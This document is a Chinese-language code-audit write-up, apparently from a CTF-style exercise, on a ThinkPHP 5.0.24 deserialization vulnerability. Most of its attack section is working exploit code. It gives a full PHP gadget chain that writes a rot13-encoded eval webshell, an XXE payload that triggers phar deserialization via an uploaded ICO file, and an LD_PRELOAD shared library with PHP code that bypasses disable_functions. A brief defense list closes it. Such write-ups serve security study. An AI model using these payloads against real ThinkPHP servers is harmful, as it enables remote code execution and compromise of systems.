某cms代码审计
字数 874 2025-08-25 22:59:10

ThinkPHP 5.0.24 反序列化漏洞分析与利用

漏洞概述

本文详细分析ThinkPHP 5.0.24版本中存在的反序列化漏洞,该漏洞允许攻击者通过精心构造的序列化数据实现远程代码执行(RCE)。漏洞利用链涉及多个组件,最终可实现文件写入、XXE攻击和绕过disable_functions限制。

环境要求

  • ThinkPHP 5.0.24
  • libxml2 2.8.0(默认允许解析外部实体)

漏洞利用链分析

1. 反序列化入口点

漏洞利用链的入口点是think\process\pipes\Windows类,该类在反序列化时会触发文件操作:

namespace think\process\pipes {
    class Windows {
        private $files = [];
        public function __construct($files) {
            $this->files = [$files];
        }
    }
}

2. 模型关系利用

通过think\Model抽象类及其子类Pivot构建利用链:

namespace think {
    abstract class Model {
        protected $append = [];
        protected $error = null;
        public $parent;
        
        function __construct($output, $modelRelation) {
            $this->parent = $output;
            $this->append = array("xxx" => "getError");
            $this->error = $modelRelation;
        }
    }
}

namespace think\model {
    use think\Model;
    class Pivot extends Model {
        function __construct($output, $modelRelation) {
            parent::__construct($output, $modelRelation);
        }
    }
}

3. 关系类利用

通过HasOneOneToOne关系类构建调用链:

namespace think\model\relation {
    class HasOne extends OneToOne {}
}

namespace think\model\relation {
    abstract class OneToOne {
        protected $selfRelation;
        protected $bindAttr = [];
        protected $query;
        
        function __construct($query) {
            $this->selfRelation = 0;
            $this->query = $query;
            $this->bindAttr = ['xxx'];
        }
    }
}

4. 数据库查询类利用

think\db\Query类用于连接后续的利用链:

namespace think\db {
    class Query {
        protected $model;
        function __construct($model) {
            $this->model = $model;
        }
    }
}

5. 控制台输出类利用

think\console\Output类用于连接缓存驱动:

namespace think\console {
    class Output {
        private $handle;
        protected $styles;
        
        function __construct($handle) {
            $this->styles = ['getAttr'];
            $this->handle = $handle;
        }
    }
}

6. 会话驱动利用

通过Memcached会话驱动连接文件缓存:

namespace think\session\driver {
    class Memcached {
        protected $handler;
        function __construct($handle) {
            $this->handler = $handle;
        }
    }
}

7. 文件缓存驱动利用

最终利用点think\cache\driver\File类实现文件写入:

namespace think\cache\driver {
    class File {
        protected $options = null;
        protected $tag;
        
        function __construct(){
            $this->options = [
                'expire' => 3600,
                'cache_subdir' => false,
                'prefix' => '',
                'path' => 'php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[',
                'data_compress' => false,
            ];
            $this->tag = 'xxx';
        }
    }
}

完整利用链

$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output, $HasOne));
echo base64_encode(serialize($window));

文件上传利用

上传点发现

application/user/controller/Uploadify.php存在上传点,测试发现:

  • JPG/GIF图片有检查无法绕过
  • ICO图片可以成功上传

XXE触发

利用上传的ICO文件进行XXE攻击:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "phar://./uploads/user/4/allimg/20211207/4-21120G45250B5.ico" >
<!ENTITY upload SYSTEM "http://0.0.0.0:1" >
]>
<a>
    <foo>&xxe;</foo>
    <up>&upload;</up>
</a>

绕过disable_functions

1. 创建恶意共享库

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char **environ;

__attribute__ ((__constructor__)) void preload(void) {
    const char* cmdline = "/readflag > /tmp/1.txt";
    int i;
    for (i = 0; environ[i]; ++i) {
        if (strstr(environ[i], "LD_PRELOAD")) {
            environ[i][0] = '\0';
        }
    }
    system(cmdline);
}

2. PHP利用代码

<?php
putenv("LD_PRELOAD=/var/www/html/uploads/exp.so");
mb_send_mail("", "", "");
echo 1111;
?>

防御措施

  1. 升级ThinkPHP到最新版本
  2. 升级libxml2到2.9.0以上版本
  3. 严格限制文件上传类型
  4. 禁用危险的PHP函数和协议
  5. 实施WAF防护

总结

该漏洞利用链复杂但威力强大,结合了反序列化、文件上传、XXE和LD_PRELOAD技术,最终可实现远程代码执行和权限提升。开发人员应重视框架安全更新,运维人员应做好服务器环境加固。

ThinkPHP 5.0.24 反序列化漏洞分析与利用 漏洞概述 本文详细分析ThinkPHP 5.0.24版本中存在的反序列化漏洞,该漏洞允许攻击者通过精心构造的序列化数据实现远程代码执行(RCE)。漏洞利用链涉及多个组件,最终可实现文件写入、XXE攻击和绕过disable_ functions限制。 环境要求 ThinkPHP 5.0.24 libxml2 2.8.0(默认允许解析外部实体) 漏洞利用链分析 1. 反序列化入口点 漏洞利用链的入口点是 think\process\pipes\Windows 类,该类在反序列化时会触发文件操作: 2. 模型关系利用 通过 think\Model 抽象类及其子类 Pivot 构建利用链: 3. 关系类利用 通过 HasOne 和 OneToOne 关系类构建调用链: 4. 数据库查询类利用 think\db\Query 类用于连接后续的利用链: 5. 控制台输出类利用 think\console\Output 类用于连接缓存驱动: 6. 会话驱动利用 通过 Memcached 会话驱动连接文件缓存: 7. 文件缓存驱动利用 最终利用点 think\cache\driver\File 类实现文件写入: 完整利用链 文件上传利用 上传点发现 在 application/user/controller/Uploadify.php 存在上传点,测试发现: JPG/GIF图片有检查无法绕过 ICO图片可以成功上传 XXE触发 利用上传的ICO文件进行XXE攻击: 绕过disable_ functions 1. 创建恶意共享库 2. PHP利用代码 防御措施 升级ThinkPHP到最新版本 升级libxml2到2.9.0以上版本 严格限制文件上传类型 禁用危险的PHP函数和协议 实施WAF防护 总结 该漏洞利用链复杂但威力强大,结合了反序列化、文件上传、XXE和LD_ PRELOAD技术,最终可实现远程代码执行和权限提升。开发人员应重视框架安全更新,运维人员应做好服务器环境加固。